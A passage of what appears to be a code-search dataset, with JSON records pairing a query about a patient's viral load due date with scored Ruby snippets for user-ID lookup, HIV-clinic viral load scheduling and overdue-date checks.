"text": "def uid(item)\n user_id = ->(rec) { rec[:user_id] || rec.try(:user_id) }\n # noinspection RailsParamDefResolve\n user =\n case item\n when User then item\n when Integer then item\n when Symbol then users(item)\n when Hash then item.values_at(:user_id, :user).first\n when Model then user_id.(item) || item.try(:user)\n end\n case user\n when User then user.id\n when Model then user_id.(user)\n when Integer then positive(user)\n end\n end",
"title": ""
},
{
"docid": "c3d6a1b1e83f126b81a0fb99b2e43b86",
"score": "0.5591625",
"text": "def call_id\n return @call_id\n end",
"title": ""
},
{
"docid": "c0636ad024d6cbe86d948b7f805f9114",
"score": "0.5570772",
"text": "def hubssolib_get_user_data\n user = self.hubssolib_current_session ? self.hubssolib_current_session.session_user : nil\n\n if (user && user.user_id)\n return user\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "f0a738337e728c54c5fcc388424e47de",
"score": "0.5566659",
"text": "def get_uid_int\n self.uid.to_i\n end",
"title": ""
},
{
"docid": "a6482db183d05aa8f81a611472f03cf6",
"score": "0.5566193",
"text": "def id\n self.user_id\n end",
"title": ""
},
{
"docid": "568cc04e6ed71c761bfec686bb765bf9",
"score": "0.55585337",
"text": "def get_id(user_name)\n return get_value_of(user_name, :id)\n end",
"title": ""
},
{
"docid": "5aa47fe525e53e8e3aa84d5dc36a3355",
"score": "0.55523133",
"text": "def userid\n userids&.first\n end",
"title": ""
},
{
"docid": "b2475c4829834197283541f819386eeb",
"score": "0.55245876",
"text": "def user_id_for(user)\n find(user.id, user.login)\n end",
"title": ""
},
{
"docid": "cdc613baac67352077c348453d84edd7",
"score": "0.5513362",
"text": "def current_user_name_or_id\n require 'etc' if !defined?(Etc)\n begin\n user = Etc.getpwuid(Process.uid)\n rescue ArgumentError\n user = nil\n end\n if user\n return user.name\n else\n return \"##{Process.uid}\"\n end\n end",
"title": ""
},
{
"docid": "fe7a11bc3eac71b7e7ed40c016e127e0",
"score": "0.55027854",
"text": "def twitter_user_id\n raw['id']\n end",
"title": ""
},
{
"docid": "385d01eb30bf8755377ed98e92769db0",
"score": "0.5483483",
"text": "def commenter_id\n if user_signed_in?\n current_user.id\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "a0e7d5a3a713c2cc6fc6fb679547f218",
"score": "0.5480711",
"text": "def user(id = 'self')\n get(\"users/#{id}\").user\n end",
"title": ""
},
{
"docid": "3261277eb81b07618ea1f11af0040ee3",
"score": "0.54750186",
"text": "def get_UserID()\n \t return @outputs[\"UserID\"]\n \tend",
"title": ""
},
{
"docid": "3a4c87cf49bfd33455cc590a9e2bac0a",
"score": "0.54582477",
"text": "def facebook_id \n self.facebook_auth_cache.uid\n end",
"title": ""
},
{
"docid": "1bc97597cd000d97ce9088938d82a186",
"score": "0.54348475",
"text": "def sender_user_id=(value)\n @sender_user_id = value\n end",
"title": ""
},
{
"docid": "b42e0f981e0c90ed9d6b3cec485da8be",
"score": "0.5431438",
"text": "def fb_user\n FbGraph::User.me(fb_token)\n end",
"title": ""
},
{
"docid": "f60da1713b8403025eaab9f8c278fdd9",
"score": "0.5430903",
"text": "def get_userid(user_page)\n\t\tpp user_page.body\n\t\tuserid_xpath = '(//input[@name=\"profile_user\"]/@value)[1]'\n\t\tid = user_page.parser.xpath(userid_xpath)\n\n\t\tid.text\n\tend",
"title": ""
},
{
"docid": "5de689e8b404c60c2230fe8cc1bd39fd",
"score": "0.5427575",
"text": "def uid\n read_attribute :uid\n end",
"title": ""
},
{
"docid": "525b03d146ed6bda32cdbf0e0bcf1a50",
"score": "0.5419495",
"text": "def getUserID\n if signed_in? \n if params[:id].empty?\n uid = current_user.id\n else\n uid = params[:id]\n end\n @user = User.find(uid)\n else\n redirect_to pages_home_path\n end\n end",
"title": ""
},
{
"docid": "7d1a41edf46691840956926afa374484",
"score": "0.5412817",
"text": "def bot_user_id\n client.self.id\n end",
"title": ""
},
{
"docid": "1a9bc2f5d9d61aad07e883f1a4834038",
"score": "0.5402273",
"text": "def user\n user_id.get_object\n end",
"title": ""
},
{
"docid": "b204b9988f89bc557f9870561d995acf",
"score": "0.5399265",
"text": "def find_user_id\n if (params[:user_id])\n return params[:user_id].to_i\n else\n return params[:id].to_i\n end\n end",
"title": ""
},
{
"docid": "3e24ee8d3ca4ff3594741b519b6066e9",
"score": "0.5397349",
"text": "def meu_id\n id = Integer(self.get_and_give_me_a_json(\"meuid\"))\n id\n end",
"title": ""
},
{
"docid": "9926218d681fcdd17880eabf0fc183cf",
"score": "0.5380389",
"text": "def query_user_id\n @attributes[:query_user_id]\n end",
"title": ""
},
{
"docid": "b5aaf8ebcf8dfc5c2efe3f09d140cf26",
"score": "0.53618824",
"text": "def user_ref\n @messaging['optin']['user_ref']\n end",
"title": ""
},
{
"docid": "f09db44c78f8400543610154a0fa768d",
"score": "0.53528154",
"text": "def user()\n return @data[\"access\"][\"user\"]\n end",
"title": ""
},
{
"docid": "88a55ffb7bba50c015bf033f860af148",
"score": "0.5349982",
"text": "def user_id\n return link.split(\"/\")[2]\n end",
"title": ""
},
{
"docid": "b893fb8aab890b11cacfd1029ea17dda",
"score": "0.53481174",
"text": "def get_account_id\n if user\n return user.get_account_id\n end\n end",
"title": ""
},
{
"docid": "1a01462288d42a63e56ff7f3a1d99197",
"score": "0.5333477",
"text": "def azure_ad_user_id=(value)\n @azure_ad_user_id = value\n end",
"title": ""
},
{
"docid": "afa30dc25fb5785ff0eee80d0a8a46c2",
"score": "0.5332762",
"text": "def user\n metadata&.dig('event', 'user')\n end",
"title": ""
},
{
"docid": "02fb9272c3b3f4e83910715549058568",
"score": "0.53270006",
"text": "def user_id\n item.jid.node if item\n end",
"title": ""
},
{
"docid": "d81803799cfed33993e09b63409469ce",
"score": "0.53212",
"text": "def user\n begin\n if user_uid?\n @_user ||= User.find(user_uid)\n end\n if respond_to?(:email?) && email?\n @_user ||= User.where(email: email).first\n end\n rescue => e\n Rails.logger.warn \"#{self.class} #{self.id} has a user_uid that corresponds to no known data room user. Perhaps someone has been deleted? Ignoring. Error: #{e}\"\n nil\n end\n @_user\n end",
"title": ""
},
{
"docid": "0ce822747aa121ca2c45ca457edf10cd",
"score": "0.5307958",
"text": "def token_user_id\n decoded_token.first['id']\n end",
"title": ""
},
{
"docid": "93d2238ef13b1796f905c321051680a4",
"score": "0.5301769",
"text": "def current_user_unique_id\n return current_user.id unless current_user.nil?\n request.session_options[:id]\n end",
"title": ""
},
{
"docid": "16a4bb7de67e7394a707f215553e8a7e",
"score": "0.5300797",
"text": "def user_id(transition)\n user_id = transition.args.last[:user_id] if transition.args.present?\n user_id ||= 0\n end",
"title": ""
},
{
"docid": "b6bdf62f255152f6efd5d24f8dcfb21e",
"score": "0.5294546",
"text": "def auth_user_id\n auth[:user_id]\n end",
"title": ""
},
{
"docid": "7c1ca027c877c9abfcc1d84d7ff94cea",
"score": "0.5291104",
"text": "def id\n @uid\n end",
"title": ""
},
{
"docid": "c807fd9bc469860c11831b830ef36df8",
"score": "0.52792823",
"text": "def user_management_get_single_user id\n # the base uri for api requests\n query_builder = Configuration.BASE_URI.dup\n\n # prepare query string for API call\n query_builder << \"/v1/users/{id}\"\n\n # process optional query parameters\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\n \"id\" => id,\n }\n\n # process optional query parameters\n query_builder = APIHelper.append_url_with_query_parameters query_builder, {\n \"client_id\" => @client_id,\n \"client_secret\" => @client_secret,\n }\n\n # validate and preprocess url\n query_url = APIHelper.clean_url query_builder\n\n # prepare headers\n headers = {\n \"user-agent\" => \"IAMDATA V1\",\n \"accept\" => \"application/json\"\n }\n\n # invoke the API call request to fetch the response\n response = Unirest.get query_url, headers:headers\n\n # Error handling using HTTP status codes\n if response.code == 401\n raise APIException.new \"Unauthorized\", 401, response.raw_body\n elsif response.code == 404\n raise APIException.new \"Not Found\", 404, response.raw_body\n elsif !(response.code.between?(200,206)) # [200,206] = HTTP OK\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\n end\n\n response.body\n end",
"title": ""
},
{
"docid": "48d12499f13f0dc07712442246ae8a34",
"score": "0.5274616",
"text": "def user_id\n self.user.id\n end",
"title": ""
},
{
"docid": "88e69ca5231a49da937743b18fd6e1a7",
"score": "0.5269278",
"text": "def uid\n @uid\n end",
"title": ""
}
] |
0e7e7e4727d18b5a977f49d2386ca39a
|
Checks if patient is due for Viral load. See: find_patient_viral_load_due_date
|
[
{
"docid": "af6e9abaf49dc9a941904ab3870597a8",
"score": "0.87390256",
"text": "def patient_due_for_viral_load?\n find_patient_viral_load_due_date >= date\n end",
"title": ""
}
] |
[
{
"docid": "f5d874e126354689ddfee42714f32dd5",
"score": "0.77540994",
"text": "def patient_skipped_viral_load?(due_date)\n # Shouldn't we be looking for value_coded: concept('Yes') or something?\n Observation.where(concept: ConceptName.where(name: ['Delayed milestones', 'Tests ordered'])\n .select(:concept_id),\n person_id: patient.patient_id)\n .where('obs_datetime BETWEEN DATE(?) AND (?)', due_date, date)\n .exists?\n end",
"title": ""
},
{
"docid": "64c96cb88da02bcb8b0a9f4334405db1",
"score": "0.7618713",
"text": "def find_patient_viral_load_due_date\n viral_load = find_patient_recent_viral_load # Search defaults to last 12 months\n unless viral_load\n # If patient doesn't have a viral load in the last 12 months then we know that\n # the patient might be due but we need to verify that we aren't dealing with\n # a newly initiated patient (these are due after 6 months on ART). And if we\n # determine that the patient is indeed due we need to make sure that at no\n # point in the last 12 months did the patient decide to skip the viral load.\n viral_load_due_date = patient_earliest_start_date + 6.months\n return viral_load_due_date if viral_load_due_date > date\n\n viral_load_skip = find_patient_recent_viral_load_skip\n return viral_load_skip.obs_datetime.to_date + 6.months if viral_load_skip\n\n viral_load = find_patient_last_viral_load\n return viral_load ? viral_load.start_date.to_date + 12.months : viral_load_due_date\n end\n\n # if the patient is using ped regimens\n return viral_load.start_date.to_date + 6.months if patient_using_pead_regimen?\n\n # if the patient is pregnant\n return viral_load.start_date.to_date + 6.months if patient_pregnant?\n\n # if the patient is breastfeeding\n return viral_load.start_date.to_date + 6.months if patient_breast_feeding?\n\n # If patient has a viral load in the last 12 months then we need to make sure\n # that the patient didn't have a regimen switch after the viral load due to\n # a treatment failure.\n regimen_switch = find_patient_recent_regimen_switch(last_viral_load_date: viral_load.start_date.to_date)\n return viral_load.start_date.to_date + 12.months unless regimen_switch\n\n # The patient did indeed switch regimens, now we need to check if 6 months hasn't\n # elapsed since the regimen switch. If it has then we need to make sure there isn't\n # a viral load skip after that.\n viral_load_due_date = regimen_switch.obs_datetime.to_date + 6.months\n return viral_load_due_date if viral_load_due_date < date\n\n viral_load_skip = find_patient_recent_viral_load_skip(duration: date - regimen_switch.obs_datetime.to_date)\n return viral_load_skip.obs_datetime.to_date + 6.months if viral_load_skip\n\n regimen_switch.obs_datetime.to_date + 6.months\n end",
"title": ""
},
{
"docid": "e4927ee6f969acde4f8c3daddee9155c",
"score": "0.6019366",
"text": "def due?\n self.paid_through.present? && self.paid_through<=Date.today\n end",
"title": ""
},
{
"docid": "183fa24edcd0d321d2bfeddca08ff111",
"score": "0.5706393",
"text": "def van_driver_training_expired?\n return true if !van_driver_training_completed_at\n valid_length = Customer.driver_training_validity_length || 0\n return true unless valid_length > 0\n van_driver_training_completed_at < valid_length.days.ago\n end",
"title": ""
},
{
"docid": "3e340f18e272b9e363ad7378f0933230",
"score": "0.56862766",
"text": "def find_patients_with_overdue_viral_load\n # Find all patients whose last order's expires in or before the reporting period (making them due)\n # or patients whose first order comes at 6 months or greater after starting ART.\n ActiveRecord::Base.connection.select_all <<~SQL\n SELECT orders.patient_id,\n disaggregated_age_group(patient.birthdate,\n DATE(#{ActiveRecord::Base.connection.quote(end_date)})) AS age_group,\n patient.birthdate,\n patient.gender,\n patient_identifier.identifier AS arv_number\n FROM orders\n INNER JOIN order_type\n ON order_type.order_type_id = orders.order_type_id\n AND order_type.name = 'Lab'\n AND order_type.retired = 0\n INNER JOIN concept_name\n ON concept_name.concept_id = orders.concept_id\n AND concept_name.name IN ('Blood', 'DBS (Free drop to DBS card)', 'DBS (Using capillary tube)')\n AND concept_name.voided = 0\n INNER JOIN (\n /* Get the latest order dates for each patient */\n SELECT orders.patient_id, MAX(orders.start_date) AS start_date\n FROM orders\n INNER JOIN order_type\n ON order_type.order_type_id = orders.order_type_id\n AND order_type.name = 'Lab'\n AND order_type.retired = 0\n INNER JOIN concept_name\n ON concept_name.concept_id = orders.concept_id\n AND concept_name.name IN ('Blood', 'DBS (Free drop to DBS card)', 'DBS (Using capillary tube)')\n AND concept_name.voided = 0\n WHERE orders.start_date <= DATE(#{ActiveRecord::Base.connection.quote(end_date)}) - INTERVAL 12 MONTH\n AND orders.voided = 0\n GROUP BY orders.patient_id\n ) AS latest_patient_order_date\n ON latest_patient_order_date.patient_id = orders.patient_id\n AND latest_patient_order_date.start_date = orders.start_date\n INNER JOIN temp_earliest_start_date AS patient ON patient.patient_id = orders.patient_id\n INNER JOIN temp_patient_outcomes AS outcomes\n ON outcomes.patient_id = patient.patient_id\n AND outcomes.cum_outcome = 'On antiretrovirals'\n LEFT JOIN patient_identifier\n ON patient_identifier.patient_id = orders.patient_id\n AND patient_identifier.identifier_type IN (#{pepfar_patient_identifier_type.to_sql})\n AND patient_identifier.voided = 0\n WHERE orders.start_date < DATE(#{ActiveRecord::Base.connection.quote(end_date)}) - INTERVAL 12 MONTH\n GROUP BY orders.patient_id\n SQL\n end",
"title": ""
},
{
"docid": "37b7999777f8041b724fc00cf1244417",
"score": "0.5659348",
"text": "def overdue?\n return false unless due_date\n Time.now > Time.parse(due_date)\n end",
"title": ""
},
{
"docid": "46ad438494a77157ad45775b20d80e5a",
"score": "0.56164324",
"text": "def too_late_for_repayment?\n start_date_possible_repayment = Date.today + Rails.configuration.repayment_deadline.days\n\n return true if (self.date < start_date_possible_repayment)\n\n return true if (self.repayment&.speaker_arrival && self.repayment.speaker_arrival < start_date_possible_repayment)\n\n false\n end",
"title": ""
},
{
"docid": "d30ac1dd11001aa08a1de3ee0a67a342",
"score": "0.55991864",
"text": "def miss_time?\n\t\t !due_date.nil? && ((estimated_hours.to_f - spent_hours.to_f) / Setting.plugin_redmine_advanced_issues['hours_in_day'].to_f) > (due_date - Date.today)\n\t\tend",
"title": ""
},
{
"docid": "b25e90672f151ed1d57ea048614406f2",
"score": "0.5595865",
"text": "def present?\n (due_date - Date.today) >= 0\n end",
"title": ""
},
{
"docid": "bc23cd2a0694359533cb3d98435e6924",
"score": "0.55864644",
"text": "def check_due_date\n # You can now check the \"due\" field here. For example, if you only want to allow due\n # dates today and later:\n if self.due_date < Date.today or self.due_date < self.issue_date\n errors.add(:due_date, \"can only be today or later.\")\n end\n end",
"title": ""
},
{
"docid": "26c91654e9cda79b0d4cd2fe93118ca6",
"score": "0.55524343",
"text": "def coming_due?\n CandidateEvent.coming_due?(due_date, completed_date)\n end",
"title": ""
},
{
"docid": "e526d4aff6c7af9d077a0bdec00e6701",
"score": "0.554769",
"text": "def arrive_on_is_greather_or_equal_than_today?\n if self.arrive_on < Time.now.to_date \n # error\n errors.add(:arrive_on,'should not be in the past')\n end\n end",
"title": ""
},
{
"docid": "20abb65aa9f6ff090424dba31fc7ef87",
"score": "0.55444735",
"text": "def due?\n if !date?\n return @pri.size > 0\n end\n return !more_than_two_weeks_away?\n end",
"title": ""
},
{
"docid": "963069416d70d0f831eb47dfda054fa5",
"score": "0.5529542",
"text": "def valid_due_date?\n\n\t\tif pregnancy_due_date.present?\n\t\t\tif pregnancy_due_date >= Date.today\n\t\t\t return true\n\t\t\telse\n\t\t\t errors.add(:pregnancy_due_date, \"should be greater than or equal to the current date.\")\n\t\t\t\treturn false\n\t\t\tend\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d0e81814b42786d16cb9c979ba328ef0",
"score": "0.5528091",
"text": "def overdue?\n @due_date < Date.today\n end",
"title": ""
},
{
"docid": "6e20b404f1182b0c17d6b5b5bb488ada",
"score": "0.5515864",
"text": "def deadline_passed_for?(user)\n due_at_for(user) < Time.current\n end",
"title": ""
},
{
"docid": "b6fa58dd9977b5adb94b111fb4681828",
"score": "0.55007905",
"text": "def check_condition(column, topic_id = nil)\n next_due_date = DueDate.get_next_due_date(self.id, topic_id)\n return false if next_due_date.nil?\n right_id = next_due_date.send column\n right = DeadlineRight.find(right_id)\n right && (right.name == 'OK' || right.name == 'Late')\n end",
"title": ""
},
{
"docid": "67f83777a64d8e7f4e80fc58b6b74e95",
"score": "0.54852355",
"text": "def overdue?\n opened? && expected_liquidation_date < Date.current\n end",
"title": ""
},
{
"docid": "bc647935ca1062a8f7931b3673a34a67",
"score": "0.54773617",
"text": "def past_all_due_dates?\n # If no section due dates /!\\ do not check empty? it could be wrong\n return false if !due_date.nil? && Time.current < due_date\n return false if assessment_section_properties.any? { |sec| !sec.due_date.nil? && Time.current < sec.due_date }\n\n true\n end",
"title": ""
},
{
"docid": "82f55c254c023741401324c72f10ee3a",
"score": "0.54716134",
"text": "def late?\n CandidateEvent.late?(due_date, completed_date)\n end",
"title": ""
},
{
"docid": "58904d1f7655a4036bbe55f46a5cf813",
"score": "0.54565006",
"text": "def find_patient_recent_viral_load(duration: 12.months)\n Lab::LabOrder.where(concept: ConceptName.where(name: ['Blood', 'DBS (Free drop to DBS card)', 'DBS (Using capillary tube)', 'Plasma'])\\\n .select(:concept_id), patient: patient)\n .where('start_date BETWEEN DATE(?) AND DATE(?)', (date - duration), date)\n .joins(:tests)\n .merge(viral_load_tests)\n .order(:start_date)\n .last\n end",
"title": ""
},
{
"docid": "3b60e47a67e8ab4a787d44d4cdffff56",
"score": "0.5404358",
"text": "def check_for_cause_of_death(c32_patient)\n if c32_patient.conditions.any? {|condition| condition.cause_of_death }\n c32_patient.expired = true\n end\n end",
"title": ""
},
{
"docid": "06283023d1707b42cda8e706ac1ce9a6",
"score": "0.5401893",
"text": "def due_later?\n @due_date > Date.today\n end",
"title": ""
},
{
"docid": "1fbd09b2df34f387903978235640a123",
"score": "0.5395169",
"text": "def overdue?\n if self.try(:due_date)\n self.due_date <= Date.today\n end\n end",
"title": ""
},
{
"docid": "7e59c69b779b6a3c1af8ec36ef776eaf",
"score": "0.53938925",
"text": "def check_condition(column, topic_id = nil)\n next_due_date = DueDate.get_next_due_date(id, topic_id)\n return false if next_due_date.nil?\n\n right_id = next_due_date.send column\n right = DeadlineRight.find(right_id)\n right && (right.name == 'OK' || right.name == 'Late')\n end",
"title": ""
},
{
"docid": "7ead8c9bfcdb8899342f4095ed9be075",
"score": "0.53752345",
"text": "def due?( days_from_now = 0)\n days_remaining && (days_remaining <= days_from_now)\n end",
"title": ""
},
{
"docid": "7ead8c9bfcdb8899342f4095ed9be075",
"score": "0.53752345",
"text": "def due?( days_from_now = 0)\n days_remaining && (days_remaining <= days_from_now)\n end",
"title": ""
},
{
"docid": "442b87f95179fc9322a44d35aff0aa7b",
"score": "0.53699577",
"text": "def overdue?\n !due_date.nil? && (due_date < Date.today)\n end",
"title": ""
},
{
"docid": "881101e4fca70d59a4bff854b41c1e88",
"score": "0.5369745",
"text": "def is_after_effective_date\n @subscriber = self.patient.subscribers.find(:first, :conditions => [\"ins_priority = ?\", Subscriber::INSURANCE_PRIORITY[0] ])\n\n if self.dos.blank?\n errors.add :base, \"Date of Service cannot be blank\"\n elsif @subscriber.blank?\n errors.add :base, \"Primary Patient Insured record is required\"\n elsif @subscriber.start_date.blank?\n errors.add :base, \"Primary Patient Insured effective date is required\"\n elsif self.dos < @subscriber.start_date\n errors.add :base, \"Date of Service is before the primary insurance start date.\"\n end\n end",
"title": ""
},
{
"docid": "f398c55f179b82742b3b6592952d4a58",
"score": "0.5367411",
"text": "def due_lab_order? (patient:)\n program_start_date = find_patient_date_enrolled(patient)\n return false unless program_start_date\n\n days = (Date.today - program_start_date).to_i\n falls_within_ordering_period?(days: days, tolerance: 5) && no_orders_done?(patient: patient, time: 5.days.ago)\n end",
"title": ""
},
{
"docid": "8d741d404c45ed315967dd2e05e5746b",
"score": "0.5362359",
"text": "def overdue?\n if @date < Date.today\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "bf4f4d462086972d65068115da2d93d9",
"score": "0.5358821",
"text": "def overdue?()\n return false if @returned\n check_date = @end_date <=> Date::today\n return check_date < 0\n end",
"title": ""
},
{
"docid": "ea7bd35daea34ddd46c163801d0bc454",
"score": "0.53513384",
"text": "def due?\n self.due_date < DateTime.yesterday.to_s.to_time.to_i\n end",
"title": ""
},
{
"docid": "7bdf93fc26c146bc62d958be5a1ae88c",
"score": "0.5348594",
"text": "def process_pregnancy_visit_one!\n if due_date && due_date <= next_scheduled_event_date\n late_pregnancy_one_visit!\n end\n end",
"title": ""
},
{
"docid": "94848949209cbfb1c0506f746aba11a9",
"score": "0.53470004",
"text": "def overdue?\n self.due_date < Date.today ? true : false\n end",
"title": ""
},
{
"docid": "c5e3c00ef353778253cc818488f18c1c",
"score": "0.5334832",
"text": "def check_no_delay_requirements(date)\n return true unless release_no_delay?\n date == Time.zone.today\n end",
"title": ""
},
{
"docid": "3da63a953401cd841916e410f5a925ac",
"score": "0.5311795",
"text": "def report_due?\n last_report.present? and last_report.issues?\n end",
"title": ""
},
{
"docid": "57a1c0fdd370d6886b8456d9aaf38b25",
"score": "0.52957314",
"text": "def available? date=Date.today\n effective_on <= date and ineffective_on.nil? or ineffective_on > date\n end",
"title": ""
},
{
"docid": "4f625220745e44468d02ec14e8982663",
"score": "0.5293081",
"text": "def overdue?\n (Time.now > due_at) && !self.completed?\n end",
"title": ""
},
{
"docid": "3c7124db762b4110ce380634ee783ea7",
"score": "0.5291728",
"text": "def status_azul\n if deliverDate and (not(paymentBalanceDate))\n if (downloadDate and deliverDate)\n if ((downloadDate - deliverDate).to_i < 15)\n return true\n end\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "9199b79de126f47d44615b75a694ce5c",
"score": "0.52874327",
"text": "def returned_late?\n self.current == false && self.due_date < self.updated_at\n end",
"title": ""
},
{
"docid": "804ea3cd33fb40af9f3b7ba8387af86f",
"score": "0.52859586",
"text": "def is_due_date?\n if due_date < Date.today\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "52ef74d7eabfcbde0892122d711d78a0",
"score": "0.5283412",
"text": "def overdue?\n return_date != nil && created_at < ENV[\"OVERDUE_AFTER\"].to_i.months.ago\n end",
"title": ""
},
{
"docid": "7bca6788f3ee1c44e57080eb1b412a4d",
"score": "0.5278192",
"text": "def check_for_cause_of_death(c32_patient)\n cause_of_death = c32_patient.conditions.detect {|condition| condition.cause_of_death }\n if cause_of_death\n c32_patient.expired = true\n c32_patient.deathdate = cause_of_death.time_of_death\n end\n end",
"title": ""
},
{
"docid": "a7c2ef2cd3fe5634ebc7a43731d7f04f",
"score": "0.52719927",
"text": "def overdue?\n due_date.present? && (due_date < User.current.today) && !closed?\n end",
"title": ""
},
{
"docid": "1a300d926f939db5bfb6a78fc87942d8",
"score": "0.5262687",
"text": "def overdue?\n Date.today > to_date\n end",
"title": ""
},
{
"docid": "3d7176b3c3a19d6d72ee9034ee9b3a1d",
"score": "0.52605677",
"text": "def find_patients_due_for_initial_viral_load\n ActiveRecord::Base.connection.select_all <<~SQL\n SELECT patient.patient_id,\n disaggregated_age_group(patient.birthdate,\n DATE(#{ActiveRecord::Base.connection.quote(end_date)})) AS age_group,\n patient.birthdate,\n patient.gender,\n patient_identifier.identifier AS arv_number\n FROM temp_earliest_start_date AS patient\n INNER JOIN temp_patient_outcomes AS outcomes\n ON outcomes.patient_id = patient.patient_id\n AND outcomes.cum_outcome = 'On antiretrovirals'\n INNER JOIN patient_identifier\n ON patient_identifier.patient_id = patient.patient_id\n AND patient_identifier.identifier_type IN (#{pepfar_patient_identifier_type.to_sql})\n AND patient_identifier.voided = 0\n WHERE patient.patient_id NOT IN (\n SELECT DISTINCT orders.patient_id FROM orders\n INNER JOIN order_type ON order_type.order_type_id = orders.order_type_id AND order_type.name = 'Lab'\n INNER JOIN obs ON orders.order_id = obs.order_id AND obs.voided = 0\n INNER JOIN concept_name ON concept_name.concept_id = obs.concept_id AND concept_name.name = 'Test type' AND concept_name.voided = 0\n INNER JOIN concept_name AS test_name ON test_name.concept_id = obs.value_coded AND test_name.name = 'HIV Viral Load' AND test_name.voided = 0\n WHERE orders.start_date <= DATE(#{ActiveRecord::Base.connection.quote(end_date)}) - INTERVAL 12 MONTH\n AND orders.concept_id IN (SELECT concept_id FROM concept_name WHERE name IN ('Blood', 'DBS (Free drop to DBS card)', 'DBS (Using capillary tube)'))\n AND orders.voided = 0\n ) AND patient.earliest_start_date <= DATE(#{ActiveRecord::Base.connection.quote(end_date)}) - INTERVAL 6 MONTH\n GROUP BY patient.patient_id\n SQL\n end",
"title": ""
},
{
"docid": "5ffec9f6654b5231de069883bfbac08b",
"score": "0.52503157",
"text": "def before_deadline\n return Date.today < Date.strptime(User::APPLICATION_DEADLINE, \"%m/%d/%Y\")\n end",
"title": ""
},
{
"docid": "f08e2366010a0bbc871b156049faef98",
"score": "0.5249646",
"text": "def validate_due\n errors.add(\"due\", \"must be in the future\") unless due_in_future\n end",
"title": ""
},
{
"docid": "449a343ffeddf4f647ec8fd0b2770562",
"score": "0.52464426",
"text": "def overdue?\n due_date.past?\n end",
"title": ""
},
{
"docid": "49cd45e63e994160784580d4278c96b4",
"score": "0.5244937",
"text": "def logs_due_next_year?(log_due)\n contest_month = self.contest_periods.last.end_time.month\n (log_due.month < contest_month) && (log_due < self.contest_periods.last.end_time)\n end",
"title": ""
},
{
"docid": "2dfbfe95b44f8337b81451fcc3e69cb9",
"score": "0.5237657",
"text": "def behind_schedule?\n return false if start_date.nil? || due_date.nil?\n done_date = start_date + ((due_date - start_date + 1) * done_ratio / 100).floor\n return done_date <= User.current.today\n end",
"title": ""
},
{
"docid": "b03875f903cb11bc9fb55f555e0ab3a0",
"score": "0.5237547",
"text": "def patient_has_not_completed_fast_track_visit?\n return !@fast_track_completed if @fast_track_completed\n\n @fast_track_completed = Observation.joins(:encounter)\\\n .where(concept: concept('Fast track visit'),\n person: @patient.person,\n value_coded: concept('Yes').concept_id,\n encounter: { program_id: @program.program_id })\\\n .where('obs_datetime BETWEEN ? AND ?', *TimeUtils.day_bounds(@date))\n .order(obs_datetime: :desc)\\\n .exists?\n\n !@fast_track_completed\n end",
"title": ""
},
{
"docid": "debf212342ff0ab8661b2be07edf85c9",
"score": "0.5237217",
"text": "def available? date\n date != unavailable_date\n end",
"title": ""
},
{
"docid": "75e1ed5f408dce17ff02212050a220fb",
"score": "0.52363604",
"text": "def should_take_low_intensity_questionnaire?\n # TODO: determine if due date is > 6 mos\n low_intensity? && pregnant_or_trying? && !completed_event?(NcsCode.low_intensity_data_collection)\n end",
"title": ""
},
{
"docid": "598da6f8c226ca1fa29b26860cea2347",
"score": "0.52221286",
"text": "def available?(date=Time.now)\n !self.active_lease(date)\n end",
"title": ""
},
{
"docid": "d0d355e4783d30e8f780fb65193c918c",
"score": "0.52206963",
"text": "def currently_due\n account = Stripe::Account.retrieve(current_user.stripe_user_id)\n if account.requirements.currently_due.empty?\n false\n else\n true\n end\n end",
"title": ""
},
{
"docid": "0b2ba473cb7e233ef93f381df6e4c476",
"score": "0.5219541",
"text": "def overdue?\n due_date.present? && (due_date < Date.today) && !closed?\n end",
"title": ""
},
{
"docid": "c90da19a86865f36126accd322cb7b18",
"score": "0.52154565",
"text": "def available?\n effective_on and \\\n effective_on <= Date.today and \\\n (ineffective_on.nil? or ineffective_on > Date.today)\n end",
"title": ""
},
{
"docid": "6193ebda692076138a5bb53e404cca7c",
"score": "0.5205375",
"text": "def future_due_date\n return true if due_date.blank?\n if due_date < Date.current\n errors.add(:due_date, 'cannot be in the past')\n false\n else\n true\n end\n end",
"title": ""
},
{
"docid": "d9b5790d3bc4df226cdfba161c6f99b6",
"score": "0.519101",
"text": "def behind_schedule?\n return false if start_date.nil? || due_date.nil?\n done_date = start_date + ((due_date - start_date + 1) * done_ratio / 100).floor\n return done_date <= Date.today\n end",
"title": ""
},
{
"docid": "02b16f009710006ed5badca43bb84fa4",
"score": "0.51881105",
"text": "def overdue?\n effective_date && (effective_date < User.current.today) && (open_issues_count > 0)\n end",
"title": ""
},
{
"docid": "0d9e62b5f04f9271104c824b3763a17b",
"score": "0.51865923",
"text": "def due_date_validity\n return if due_date.blank?\n return if due_date > Date.today\n errors.add :due_date, I18n.t('task.errors.invalid_due_date')\n end",
"title": ""
},
{
"docid": "06887de846de0a1bd3e4ed050a1c5a2d",
"score": "0.5186036",
"text": "def due?\n Time.now >= self.at\n end",
"title": ""
},
{
"docid": "93766d855f421cbed126bd3daa8344d6",
"score": "0.51775014",
"text": "def past_due?\n false\n end",
"title": ""
},
{
"docid": "11d242bdd9f9ec470c5451b70edbcfd9",
"score": "0.51753014",
"text": "def retrial_interval_required?\n [\n agfs?,\n case_type&.fee_type_code.eql?('GRRTR'),\n fee_type_code_for(fee_type).eql?('AGFS_FEE'),\n retrial_reduction\n ].all?\n end",
"title": ""
},
{
"docid": "0a27df08c5ff3c35cdad7d943c397c4a",
"score": "0.51732385",
"text": "def expired?\n due_at.present? && due_at < Time.now\n end",
"title": ""
},
{
"docid": "be33842fa9b1fca50bdfdb5e59373699",
"score": "0.5172858",
"text": "def check_fixed_date_requirements(date)\n return true unless release_fixed_date? && release_date.present?\n date == release_date\n end",
"title": ""
},
{
"docid": "77d8fc619e35d19815791aa63ad3bda8",
"score": "0.51688194",
"text": "def is_overdue?\n if self.due_date\n date = Date.parse(self.due_date)\n return true if date < Date.today\n end\n\n return false\n end",
"title": ""
},
{
"docid": "9a52b61bce636fa7d154e83c4e04d74e",
"score": "0.51668626",
